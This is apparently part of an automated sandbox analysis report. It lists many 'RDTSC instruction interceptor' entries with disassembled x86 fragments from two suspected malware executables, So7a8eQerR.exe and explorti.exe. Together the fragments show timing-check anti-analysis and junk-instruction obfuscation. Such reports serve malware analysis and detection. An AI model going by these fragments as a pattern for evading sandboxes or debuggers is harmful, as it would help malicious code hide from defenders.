Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79B0F9 second address: 79B0FF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79B639 second address: 79B646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007FA5CCB7DEC8h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79B804 second address: 79B80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79B933 second address: 79B93D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79B93D second address: 79B941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79DF7F second address: 79E00A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA5CCB7DEC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FA5CCB7DECAh 0x00000010 jnp 00007FA5CCB7DEC6h 0x00000016 popad 0x00000017 popad 0x00000018 add dword ptr [esp], 4985A972h 0x0000001f sbb edi, 127BE68Ch 0x00000025 pushad 0x00000026 mov dword ptr [ebp+122D17BBh], edi 0x0000002c cmc 0x0000002d popad 0x0000002e push 00000003h 0x00000030 add dword ptr [ebp+122D1870h], ecx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007FA5CCB7DEC8h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 jmp 00007FA5CCB7DED2h 0x00000057 push 00000003h 0x00000059 add esi, dword ptr [ebp+122D267Eh] 0x0000005f push 8A6C0093h 0x00000064 push ecx 0x00000065 pushad 0x00000066 jns 00007FA5CCB7DEC6h 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79E106 second address: 79E10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79E10A second address: 79E10F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79E10F second address: 79E11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79E11F second address: 79E135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FA5CCB7DECEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79E135 second address: 79E213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FA5CCB52630h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007FA5CCB52630h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a jmp 00007FA5CCB52630h 0x0000001f pop eax 0x00000020 call 00007FA5CCB52635h 0x00000025 mov esi, dword ptr [ebp+122D360Dh] 0x0000002b pop esi 0x0000002c push 00000003h 0x0000002e mov edi, dword ptr [ebp+122D1F3Dh] 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 mov dword ptr [ebp+122D1BF6h], ebx 0x0000003d pop edx 0x0000003e push 00000003h 0x00000040 jnp 00007FA5CCB52629h 0x00000046 movzx edx, cx 0x00000049 call 00007FA5CCB52629h 0x0000004e push edi 0x0000004f jmp 00007FA5CCB5262Eh 0x00000054 pop edi 0x00000055 push eax 0x00000056 push esi 0x00000057 jmp 00007FA5CCB5262Dh 0x0000005c pop esi 0x0000005d mov eax, dword ptr [esp+04h] 0x00000061 jnp 00007FA5CCB52632h 0x00000067 jp 00007FA5CCB5262Ch 0x0000006d mov eax, dword ptr [eax] 0x0000006f jmp 00007FA5CCB52636h 0x00000074 mov dword ptr [esp+04h], eax 0x00000078 push ebx 0x00000079 push eax 0x0000007a push edx 0x0000007b jp 00007FA5CCB52626h 0x00000081 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79E213 second address: 79E272 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FA5CCB7DEC8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 call 00007FA5CCB7DECDh 0x00000027 pushad 0x00000028 mov dword ptr [ebp+122D2383h], ebx 0x0000002e mov dword ptr [ebp+122D22BAh], edi 0x00000034 popad 0x00000035 pop edx 0x00000036 lea ebx, dword ptr [ebp+12442E53h] 0x0000003c or dword ptr [ebp+122D2097h], edi 0x00000042 push eax 0x00000043 push ebx 0x00000044 jc 00007FA5CCB7DECCh 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79E36C second address: 79E385 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB5262Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79E385 second address: 79E38F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA5CCB7DEC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79E38F second address: 79E40E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA5CCB52635h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FA5CCB52628h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D1F1Dh], ebx 0x0000002b push 00000003h 0x0000002d mov di, si 0x00000030 push 00000000h 0x00000032 call 00007FA5CCB5262Fh 0x00000037 mov edi, dword ptr [ebp+122D33E9h] 0x0000003d pop esi 0x0000003e mov dword ptr [ebp+122D237Eh], ebx 0x00000044 push 00000003h 0x00000046 mov esi, dword ptr [ebp+122D17C0h] 0x0000004c mov esi, dword ptr [ebp+122D3571h] 0x00000052 push A68CC8A4h 0x00000057 push edx 0x00000058 pushad 0x00000059 jno 00007FA5CCB52626h 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79E40E second address: 79E443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 xor dword ptr [esp], 668CC8A4h 0x0000000d mov dword ptr [ebp+122D23ACh], edi 0x00000013 lea ebx, dword ptr [ebp+12442E5Eh] 0x00000019 mov dx, 5C8Bh 0x0000001d xchg eax, ebx 0x0000001e jmp 00007FA5CCB7DED1h 0x00000023 push eax 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 79E443 second address: 79E45D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52632h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0711 second address: 52F0773 instructions: 0x00000000 rdtsc 0x00000002 mov ax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FA5CCB7DECCh 0x0000000e push eax 0x0000000f jmp 00007FA5CCB7DECBh 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FA5CCB7DECBh 0x0000001e or ecx, 5475D8DEh 0x00000024 jmp 00007FA5CCB7DED9h 0x00000029 popfd 0x0000002a jmp 00007FA5CCB7DED0h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0773 second address: 52F0787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 mov ax, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0787 second address: 52F078B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F078B second address: 52F078F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F078F second address: 52F0795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0795 second address: 52F07B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52633h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F07B4 second address: 52F07B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F07B8 second address: 52F07BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F07BE second address: 52F07C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F07C4 second address: 52F07C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F07C8 second address: 52F0855 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007FA5CCB7DEC9h 0x00000010 pushad 0x00000011 movzx eax, dx 0x00000014 push edi 0x00000015 pushfd 0x00000016 jmp 00007FA5CCB7DED6h 0x0000001b jmp 00007FA5CCB7DED5h 0x00000020 popfd 0x00000021 pop esi 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007FA5CCB7DECEh 0x00000029 mov eax, dword ptr [esp+04h] 0x0000002d jmp 00007FA5CCB7DECBh 0x00000032 mov eax, dword ptr [eax] 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FA5CCB7DED4h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0855 second address: 52F08C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov ch, 28h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 mov eax, 47CDA571h 0x00000015 mov al, 27h 0x00000017 popad 0x00000018 pop eax 0x00000019 jmp 00007FA5CCB52639h 0x0000001e push 4FF61E51h 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FA5CCB5262Dh 0x0000002a adc ax, F366h 0x0000002f jmp 00007FA5CCB52631h 0x00000034 popfd 0x00000035 movzx eax, di 0x00000038 popad 0x00000039 xor dword ptr [esp], 3906B051h 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F08C2 second address: 52F08DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FA5CCB7DED2h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F08DA second address: 52F08E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F08E0 second address: 52F090F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DECAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000000h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA5CCB7DED7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F090F second address: 52F0915 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0915 second address: 52F0919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0919 second address: 52F094C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a call 00007FA5CCB5262Ah 0x0000000f push ecx 0x00000010 pop edi 0x00000011 pop eax 0x00000012 push edx 0x00000013 movzx ecx, di 0x00000016 pop edx 0x00000017 popad 0x00000018 mov dword ptr [esp], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FA5CCB52631h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F094C second address: 52F095C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA5CCB7DECCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F095C second address: 52F0984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB5262Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 1Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA5CCB52630h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0984 second address: 52F0993 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DECBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0993 second address: 52F0A43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bl 0x00000005 mov bl, ah 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007FA5CCB52638h 0x00000010 mov dword ptr [esp], ebx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FA5CCB5262Eh 0x0000001a and esi, 42901BA8h 0x00000020 jmp 00007FA5CCB5262Bh 0x00000025 popfd 0x00000026 mov di, si 0x00000029 popad 0x0000002a xchg eax, esi 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FA5CCB52630h 0x00000032 or ch, 00000008h 0x00000035 jmp 00007FA5CCB5262Bh 0x0000003a popfd 0x0000003b jmp 00007FA5CCB52638h 0x00000040 popad 0x00000041 push eax 0x00000042 pushad 0x00000043 mov dh, 6Bh 0x00000045 call 00007FA5CCB5262Ah 0x0000004a push esi 0x0000004b pop edx 0x0000004c pop ecx 0x0000004d popad 0x0000004e xchg eax, esi 0x0000004f pushad 0x00000050 call 00007FA5CCB52633h 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0A43 second address: 52F0A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov esi, edx 0x00000007 popad 0x00000008 push edx 0x00000009 pushad 0x0000000a mov esi, 0460B0D3h 0x0000000f mov ax, 872Fh 0x00000013 popad 0x00000014 mov dword ptr [esp], edi 0x00000017 pushad 0x00000018 mov dx, si 0x0000001b popad 0x0000001c mov eax, dword ptr [76FBB370h] 0x00000021 pushad 0x00000022 mov ax, B93Bh 0x00000026 mov esi, 73D7AE17h 0x0000002b popad 0x0000002c xor dword ptr [ebp-08h], eax 0x0000002f jmp 00007FA5CCB7DECAh 0x00000034 xor eax, ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov edi, ecx 0x0000003b call 00007FA5CCB7DED6h 0x00000040 pop eax 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0A9B second address: 52F0AA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0AA1 second address: 52F0B39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DECAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FA5CCB7DED0h 0x00000011 push eax 0x00000012 pushad 0x00000013 push esi 0x00000014 mov edx, 16C019DEh 0x00000019 pop edx 0x0000001a popad 0x0000001b nop 0x0000001c pushad 0x0000001d mov di, si 0x00000020 call 00007FA5CCB7DECCh 0x00000025 mov di, cx 0x00000028 pop eax 0x00000029 popad 0x0000002a lea eax, dword ptr [ebp-10h] 0x0000002d pushad 0x0000002e movsx ebx, ax 0x00000031 mov esi, 764438BBh 0x00000036 popad 0x00000037 mov dword ptr fs:[00000000h], eax 0x0000003d jmp 00007FA5CCB7DECEh 0x00000042 mov esi, dword ptr [ebp+08h] 0x00000045 jmp 00007FA5CCB7DED0h 0x0000004a mov eax, dword ptr [esi+10h] 0x0000004d jmp 00007FA5CCB7DED0h 0x00000052 test eax, eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FA5CCB7DECAh 0x0000005d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0B39 second address: 52F0B3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0B3F second address: 52F0B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0B45 second address: 52F0B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0B49 second address: 52F0B61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FA63E74D099h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movsx edi, ax 0x00000014 movzx esi, bx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0B61 second address: 52F0B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0B67 second address: 52F0B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0B6B second address: 52F0B6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0B6F second address: 52F0BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub eax, eax 0x0000000a jmp 00007FA5CCB7DED3h 0x0000000f mov dword ptr [ebp-20h], eax 0x00000012 jmp 00007FA5CCB7DED6h 0x00000017 mov ebx, dword ptr [esi] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FA5CCB7DECDh 0x00000022 or ax, BEF6h 0x00000027 jmp 00007FA5CCB7DED1h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F026B second address: 52F026F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F026F second address: 52F0273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0273 second address: 52F0279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 52F0279 second address: 52F02AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DECFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx ecx, bx 0x0000000e mov ax, dx 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA5CCB7DED6h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 78EB38 second address: 78EB42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA5CCB52626h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 78EB42 second address: 78EB48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 78EB48 second address: 78EB50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 78EB50 second address: 78EB54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 78EB54 second address: 78EB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA5CCB52626h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jp 00007FA5CCB52626h 0x00000017 jmp 00007FA5CCB5262Bh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 78EB77 second address: 78EB7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 7BC61C second address: 7BC620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 7BC620 second address: 7BC626 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 7BC626 second address: 7BC658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FA5CCB52637h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007FA5CCB52626h 0x0000001a jno 00007FA5CCB52626h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 7BC658 second address: 7BC65C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 7BC7C4 second address: 7BC7DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52637h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 7BC7DF second address: 7BC7E9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA5CCB7DECCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
